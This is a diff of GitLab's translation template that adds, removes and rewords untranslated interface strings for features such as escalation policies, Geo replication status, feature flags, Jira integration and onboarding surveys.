-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11415,15 +11510,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11451,6 +11546,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11678,7 +11776,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11693,6 +11791,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11702,9 +11818,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -11819,9 +11932,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -11876,6 +11986,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12005,13 +12118,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -12089,6 +12202,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12134,9 +12250,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12158,9 +12271,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12830,9 +12940,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12845,12 +12952,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -12959,6 +13072,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13020,7 +13181,9 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13663,6 +13826,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13687,9 +13853,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13717,9 +13880,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -13738,9 +13898,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13783,9 +13940,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13801,7 +13955,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14052,6 +14206,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14157,6 +14320,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14175,6 +14341,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14202,6 +14371,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr ""
@@ -14469,6 +14647,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14496,6 +14677,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14523,6 +14707,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14547,6 +14734,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14574,6 +14764,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14619,6 +14812,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14631,10 +14827,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14799,6 +15001,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -14811,10 +15019,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15060,9 +15271,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15159,16 +15367,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15201,9 +15412,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15258,6 +15466,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15336,7 +15547,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15450,6 +15661,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15510,6 +15724,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15531,13 +15748,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15600,6 +15820,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -15918,9 +16141,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -15957,22 +16177,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
+msgstr ""
+
+msgid "GroupsNew|Create new group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16044,7 +16273,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16059,6 +16288,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16071,6 +16303,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16187,9 +16431,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16219,9 +16460,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16306,9 +16544,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16318,9 +16571,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16474,6 +16724,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16720,6 +16973,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16753,6 +17009,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16765,9 +17024,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16780,6 +17048,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -16906,6 +17177,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -16945,6 +17219,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -16960,10 +17237,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -16999,9 +17276,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17077,6 +17363,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17116,6 +17405,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17155,6 +17447,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17170,9 +17465,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17302,7 +17594,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17499,10 +17791,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17580,7 +17872,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17766,7 +18058,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18000,6 +18292,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18069,12 +18364,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18102,6 +18391,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18147,6 +18457,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18249,6 +18562,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18258,6 +18574,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18291,13 +18613,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18321,7 +18643,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18396,6 +18718,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18411,10 +18736,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18501,7 +18826,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18549,6 +18874,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -18564,6 +18901,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18657,6 +18997,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18690,6 +19033,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18717,9 +19063,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -18756,6 +19123,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -18998,18 +19368,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19181,6 +19545,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
